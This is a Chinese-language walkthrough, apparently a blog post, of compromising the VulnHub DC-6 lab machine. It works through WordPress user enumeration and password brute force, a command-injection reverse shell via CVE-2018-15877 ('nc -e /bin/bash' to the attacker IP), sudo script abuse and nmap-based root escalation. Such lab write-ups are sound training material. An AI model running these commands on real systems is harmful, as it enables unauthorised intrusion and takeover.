靶机下载地址:https://www.vulnhub.com/entry/dc-6,315/
KALI地址:192.168.16.108
靶机地址:192.168.16.3
如下图,是靶机介绍,可能有暴力破解的地方
使用下面的命令来发现靶机
netdiscover -r 192.168.16.108
如下图,发现了靶机地址
既然发现了主机的IP地址那么就可以进行主机扫描,这里使用的是nmap命令,命令如下。
nmap -A -T4 -p- 192.168.16.3
如下图,发现就开放了80
端口和22
端口
既然开放了80
端口那么肯定要来进行一次目录扫描,命令如下。
dirb http://192.168.16.3
如下图,发现就是wordpress
的网站。
既然是wordpress网站,直接访问IP地址访问即可,但是发现自动跳转到了一个域名,如下图。
所以这里我们要更改host
文件,让IP地址指向这个域名,如果是windows,打开这个路径修改即可C:\WINDOWS\system32\drivers\etc
如果你是linux可以去/etc/hosts
增加即可,如下两张图,分别是windows的添加和linux的添加。
这样我们再访问IP地址就可以正常访问了,看见这个是wordpress的网站肯定需要wpscan
来扫描一下这个wordpress的用户有哪些,如下命令。
wpscan --url http://wordy -e u
如下图,扫描出来了admin
,sarah
,mark
,jens
这些用户
其实上面搜索了一下,发现并没有了什么可以利用的点了,但是因为靶机的提示说需要用到暴力破解,所以这里我们把上面的用户放在user.txt
里面然后把KALI自带的字典也就是 /usr/share/wordlists/rockyou.txt
复制到桌面更改为passwords.txt
,这里我们还是使用wpscan
来暴力破解wordpress,命令如下。
wpscan --url http://wordy -U user.txt -P passwords.txt
如下图,破解出来一个用户和密码,所以我们得到一个用户密码
用户:mark
密码:helpdesk01
然后我们登录wordpress后台即可。
其实到了后台之后,我的第一反应是找模板位置,写入一句话木马,但是我怎么找,都没有找到,然后就找到这个wordpress
站点安装了Activity monitor
插件,然后百度了一下就找到了这个插件有远程执行漏洞,编号是CVE-2018-15877
,按照如下图操作。
然后再里面框框测试一下,发现确实是有远程命令执行的漏洞的,再中间写完命令之后点击Lookup
如下图。
看下图,执行成功,确实有远程命令执行漏洞。
既然可以执行命令执行,那么就可以尝试反弹一下SHELL试试,首先再KALI里面开启监听,命令是nc -lnvp 4444
,如下图。
然后在上面输入127.0.0.1|nc -e /bin/bash 192.168.16.108 4444
,但是发现长度不够长,看看用元素选择器能不能修改,长度,如下图,发现可以修改长度,这里我就修改个500
吧。
然后再重新输入命令进去,发现就可以了,然后点击Lookup
即可反弹shell,如下图,反弹成功。
这里查看是否有python,命令是whereis python
如下图,发现是有python的。
然后我们使用命令python -c "import pty; pty.spawn('/bin/bash')"
来更换终端,如下图。
然后我们就可以进行一系列操作,比如看/etc/passwd
或者是/home
下的敏感信息,然后在/home/mark
发现了敏感信息,如下图,似乎是grahm
的密码。
我们切换到这个用户
由于这个终端看着不舒服,所以我下面使用ssh
连接靶机,我们切换到grahm
用户之后,还是和上面的操作类似就找呗,然后就发现,可以使用切换到jens
用户的命令,如下图。
然后我们可以去到这个目录,发现确实有这个文件,然后我们使用命令sudo -u jens ./backups.sh
以jens用户来执行这个文件,发现确实可以执行,但是执行的代码确是如下内容。
#! /bin/bash
tar -czf backups.tar.gz /var/www/html
就是备份html
目录,接下来就没有图了,因为靶机坏了,我也懒得重新改了,但是之前做的记录还在,就用记录来说明吧,反正后面也简单。
之后我们就需要更改backups.sh
里面的内容,让我们执行这个文件之后可以切换到jens
的用户,所以我们,执行如下两条命令,就可以切换到jens
用户,首先>是直接覆盖如果是>>就是追加,如果想要追加可以写成echo "/bin/bash" >> backups.sh
echo "/bin/bash" > backups.sh
sudo -u jens ./backups.sh
然后到这里就切换到了jens
用户,之后我们输入sudo -l
可以,发现jens
用户可以使用nmap
来提权,原文是这样的
(root) NOPASSWD: /usr/bin/nmap
如果看见上面这个就可以使用nmap来提权,然后百度查了一下,nmap提权,nmap提权需要老版本,输入nmap
命令可以查看到当前靶机的nmap版本是7.4
版本,如下是提权命令。
echo 'os.execute("/bin/sh")' > shell
sudo nmap --script=shell
这样就提权到了root。
最主要是提权的位置是nmap
提权方法必须要老版本。